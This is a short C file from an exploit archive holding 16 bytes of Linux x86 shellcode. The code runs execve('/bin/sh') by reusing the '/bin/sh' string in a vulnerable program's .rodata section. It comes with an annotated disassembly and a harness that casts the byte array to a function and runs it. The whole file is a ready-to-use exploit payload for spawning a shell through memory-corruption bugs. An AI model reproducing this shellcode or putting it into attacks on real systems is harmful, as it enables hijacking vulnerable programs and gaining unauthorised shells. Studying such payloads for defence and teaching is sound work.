/*
* $Id: reusage-linux.c,v 1.3 2004/01/30 20:08:46 raptor Exp $
*
* reusage-linux.c - re-use of "/bin/sh" string in .rodata
* Copyright (c) 2003 Marco Ivaldi <raptor@0xdeadbeef.info>
*
* Short local shellcode for /bin/sh execve(). It re-uses the "/bin/sh"
* string stored in the .rodata section of the vulnerable program. Change
* the string address as needed (based on zillion's original idea).
*/
/*
* execve("/bin/sh", ["/bin/sh"], NULL)
*
* 8049368: 31 c0 xor %eax,%eax
* 804936a: bb 08 84 04 08 mov $0x8048408,%ebx # change it
* 804936f: 53 push %ebx
* 8049370: 89 e1 mov %esp,%ecx
* 8049372: 31 d2 xor %edx,%edx
* 8049374: b0 0b mov $0xb,%al
* 8049376: cd 80 int $0x80
* 8049378: 00 00 add %al,(%eax)
*/
char sc[] = /* 16 bytes */
"\x31\xc0\xbb\x08\x84\x04\x08\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80";
main()
{
int (*f)() = (int (*)())sc; f();
}
// milw0rm.com [2006-07-20]
